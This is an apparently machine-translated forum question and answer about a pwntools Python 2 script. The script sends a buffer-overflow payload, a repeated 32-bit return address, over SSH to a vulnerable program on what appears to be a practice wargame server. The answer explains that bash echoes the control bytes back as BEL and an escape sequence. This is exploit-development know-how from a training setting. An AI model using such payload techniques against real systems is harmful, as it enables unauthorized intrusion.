私は私がやっていることを自動化するためにSafe Gamingのウェブサイトを通して働いてきました。亀裂工具。ところで、その過程で問題が生じました。エクスプロイト文字列を使用してサーバー上で脆弱なプログラムを実行しようとすると、私のコンピュータのPython 2.7スクリプト間のどこかで変更され、私に戻ります。
この特定の課題にアプローチする一般的なプロセスは次のとおりです。
- SSH接続開始
- SSH接続を介してシェルを開き、「/bin/bash」、「/bin/sh」を試しました。
- メッセージが届くまでお待ちください。
- "%s %s" %(program_on_server, payload_string) 形式でコマンドを送信します。
私のペイロード文字列は、何度も繰り返される「\x74\x84\x04\x08」バイトです。私が経験している問題は、サーバーが実行中のシェルに送信したものをエコーすると、「\x74\x84\x07\x08\x1b\x5b\x4b」に変換されることです。問題を解決した後も余分なバイトがどこから出てくるのか、\x04が\x07になる理由はわかりません。 Pwntoolsは正しいバイトを送っていると思うようで、デバッグ出力には少なくとも正しいバイトが表示されるので、問題はsshからbash、脆弱なプログラムに至るチェーンのサーバー側のどこかにあると思います。したがって、pwntoolsに関連する場所ではなく、ここに投稿してください。この問題の原因と原因を知っている人はいますか?
以下は、ログイン情報を含む関数を含むコードです。
#!/usr/bin/python2
from pwn import *
context.log_level = 'debug'
def makePayloadString():
return p32(0x8048474)* 20 # p32 takes a 32 bit number and converts it to bytes
sshConnection = ssh(user=getUser(), host=getHost(), password=getPassword())
command = "%s %s" % (getProgramLocation(), makePayloadString())
shell = sshConnection.shell("/bin/bash")
shell.recvuntil("$ ", timeout=10)
shell.sendline(command)
shell.recvline(timeout=10)
答え1
サーバー側で返されるバイトはシェルから出てくるように見え、端末セッションに入力されたかのように入力バイトに応答します。
0x84が7ビット以外のASCIIコードとして解釈されるかどうかはわかりませんが、0x04はCtrl-D(EOF)文字と同じで、行の先頭に入力しないとbashはそれを拒否します。 Bashは鐘(警告音)を鳴らすために0x07(BEL)文字を端末に送信します。 0x08はバックスペース(BS)文字で、bashは入力カーソルを1つ後ろに移動させるANSIエスケープシーケンス(ESC [K)(\ x1b \ x5b \ x4b)をエコーします。
インタラクティブ端末で「t」文字を入力すると、表示されるプログラミング出力のおおよその様子を再現できます。
たぶん、このバイトをbashやshの代わりに他のプログラムの入力に送る必要がありますか?